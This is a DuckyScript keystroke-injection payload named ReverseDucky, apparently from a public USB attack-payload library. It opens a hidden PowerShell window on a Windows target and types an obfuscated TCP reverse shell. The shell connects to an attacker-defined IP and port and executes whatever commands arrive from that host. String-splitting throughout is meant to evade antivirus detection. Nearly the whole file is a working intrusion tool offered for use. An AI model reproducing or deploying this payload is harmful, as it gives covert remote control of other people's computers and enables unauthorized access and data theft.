Path: blob/master/payloads/library/remote_access/ReverseDucky/ReverseDucky.txt
2964 views
REM ReverseDucky1REM Version 2.02REM OS: Windows / Linux(?) (Not tested with Powershell on Linux)3REM Author: 0i41E4REM Requirement: DuckyScript 3.056REM TCP Reverse shell executed hidden in the background, the CAPSLOCK light at the end will indicate that the payload was executed.7REM Define the attacker IP and PORT at line 38 & 398REM DON'T FORGET TO START LISTENER910REM Extension DETECT_READY by Korben for best and fastest deployment11EXTENSION DETECT_READY12REM VERSION 1.01314REM USAGE:15REM Extension runs inline (here)16REM Place at beginning of payload (besides ATTACKMODE) to act as dynamic17REM boot delay1819REM TARGETS:20REM Any system that reflects CAPSLOCK will detect minimum required delay21REM Any system that does not reflect CAPSLOCK will hit the max delay of 3000ms2223REM CONFIGURATION:24DEFINE RESPONSE_DELAY 2525DEFINE ITERATION_LIMIT 1202627VAR $C = 028WHILE (($_CAPSLOCK_ON == FALSE) && ($C < ITERATION_LIMIT))29CAPSLOCK30DELAY RESPONSE_DELAY31$C = ($C + 1)32END_WHILE33CAPSLOCK34END_EXTENSION3536REM Define the attackers IP & Port37DEFINE ADDRESS '0.0.0.0'38DEFINE PORT 44443940DELAY 150041GUI r42DELAY 50043STRINGLN powershell -NoP -NonI -w h44DELAY 50045STRINGLN $0LVhbQ=[TyPE]('tExT'+'.enCOD'+'InG');$C=.('New'+'-Obj'+'ect') System.Net.Sockets.TCPClient( ADDRESS , PORT );$S=$C.GetStream();[byte[]]$b=0..65535|&('%'){0};while(($i=$S.Read($b,0,$b.Length))-ne 0){;$d=(&('New'+'-Ob'+'ject') -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);$X=(&('ie'+'x') $d 2>&1 | .('Out'+'-St'+'ring'));$Z=$X+'Ducky@PS '+(&('g'+'l'))+'> ';$sbt=($0lvHBq::ASCII).GetBytes($Z);$S.Write($sbt,0,$sbt.Length);$S.Flush()};$C.Close();exit46CAPSLOCK474849